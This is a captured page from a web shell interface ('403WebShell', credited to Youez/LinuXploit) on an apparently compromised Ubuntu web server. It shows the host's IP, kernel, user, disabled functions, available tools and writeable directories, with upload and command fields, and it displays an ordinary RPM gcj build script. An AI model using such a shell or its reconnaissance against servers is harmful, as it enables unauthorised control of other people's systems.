????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 18.222.178.70
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/rpm/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/rpm/brp-java-gcjcompile
#!/bin/sh

# If using normal root, avoid changing anything.
[ -z "$RPM_BUILD_ROOT" -o "$RPM_BUILD_ROOT" = "/" ] && exit 0

# If we are a noarch package, avoid changing anything.
[ "$RPM_ARCH" = "noarch" ] && exit 0

# If we don't have the required executables, avoid changing anything.
gcj=${1:-/usr/bin/gcj}
[ ! -x "$gcj" -o ! -x "$gcj-dbtool" ] && exit 0

# Now get to work...
libdir="/usr/lib" # XXX need to sed this in or something
dbdir=`gcj-dbtool -p "$libdir"`.d/"$RPM_PACKAGE_NAME-$RPM_PACKAGE_VERSION"
cflags="$RPM_OPT_FLAGS -fPIC -findirect-dispatch"
ldflags="-Wl,-Bsymbolic"

# XXX make it so you can override the list, for mx4j et al.
find "$RPM_BUILD_ROOT" -type f -name "*.?ar" | while read jar ; do
    [ `head -c 2 "$jar"` != "PK" ] && continue

    [ -d "$RPM_BUILD_ROOT/$libdir" ] || mkdir -p "$RPM_BUILD_ROOT/$libdir"

    bnjar=`basename "$jar"`
    lib="$libdir/lib$bnjar.so"
    [ -f "$RPM_BUILD_ROOT/$lib" ] && continue

    # XXX need splits to handle #158308
    # (til then we can just compile big ones ourselves)
    echo "$PS4$gcj -shared $cflags $ldflags -o $lib $jar"
    $gcj -shared $cflags $ldflags -o "$RPM_BUILD_ROOT/$lib" "$jar"

    [ -d "$RPM_BUILD_ROOT/$dbdir" ] || mkdir -p "$RPM_BUILD_ROOT/$dbdir"

    db="$dbdir/$bnjar.db"
    [ -f "$RPM_BUILD_ROOT/$db" ] && exit 1
    
    $gcj-dbtool -n "$RPM_BUILD_ROOT/$db" 64
    $gcj-dbtool -f "$RPM_BUILD_ROOT/$db" "$jar" "$lib"
done

Youez - 2016 - github.com/yon3zu
LinuXploit